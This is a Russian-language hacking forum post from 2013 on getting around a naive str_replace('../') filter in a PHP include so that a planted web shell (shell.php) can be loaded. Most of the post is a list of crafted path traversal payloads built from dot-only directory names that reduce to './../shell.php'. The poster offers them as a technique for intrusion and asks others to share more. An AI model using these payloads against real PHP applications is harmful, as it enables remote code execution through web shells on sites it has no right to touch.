01.08.2013, 08:25
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268
Репутация:
0
|
|
Предположим, структура такова:
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]./[/COLOR][COLOR="#0000BB"]scriptdir[/COLOR][COLOR="#007700"]/include.[/COLOR][COLOR="#0000BB"]php
[/COLOR][COLOR="#007700"]./[/COLOR][COLOR="#0000BB"]shell[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php
[/COLOR][/COLOR]
Есть переменная, в которой лежит некий относительный путь к шеллу. В итоге мы можем подключать шелл, как просто через include, как и протащив эту-же переменную через str_replace('../', '', ...), а потом уже через include при каких-ни будь проверках используя выход из несуществующего каталога состоящего из точек:
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]./..../../..[/COLOR][COLOR="#FF8000"]//shell.php
[/COLOR][COLOR="#007700"]./..../..[/COLOR][COLOR="#FF8000"]//../shell.php
[/COLOR][COLOR="#007700"]./....[/COLOR][COLOR="#FF8000"]//../../shell.php
[/COLOR][COLOR="#007700"]./.../../.././[/COLOR][COLOR="#0000BB"]shell[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php
[/COLOR][COLOR="#007700"]./.../.././../[/COLOR][COLOR="#0000BB"]shell[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php
[/COLOR][COLOR="#007700"]./..././../../[/COLOR][COLOR="#0000BB"]shell[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php
[/COLOR][COLOR="#007700"]./../..../..[/COLOR][COLOR="#FF8000"]//shell.php
[/COLOR][COLOR="#007700"]./../....[/COLOR][COLOR="#FF8000"]//../shell.php
[/COLOR][COLOR="#007700"]./../.../.././[/COLOR][COLOR="#0000BB"]shell[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php
[/COLOR][COLOR="#007700"]./../..././../[/COLOR][COLOR="#0000BB"]shell[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php
etc
[/COLOR][/COLOR]
Это все эквивалентно этому:
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]./../[/COLOR][COLOR="#0000BB"]shell[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php
[/COLOR][/COLOR]
Не видел нигде этого способа, если где-то он есть, покажите... Так-же, где-то видел тему с тестами выходов из несуществующих каталогов и различными слешами, не могу сейчас её найти, если кто знает где она - сбросе сюда, когда такие темы нужны - их нет. |
|
|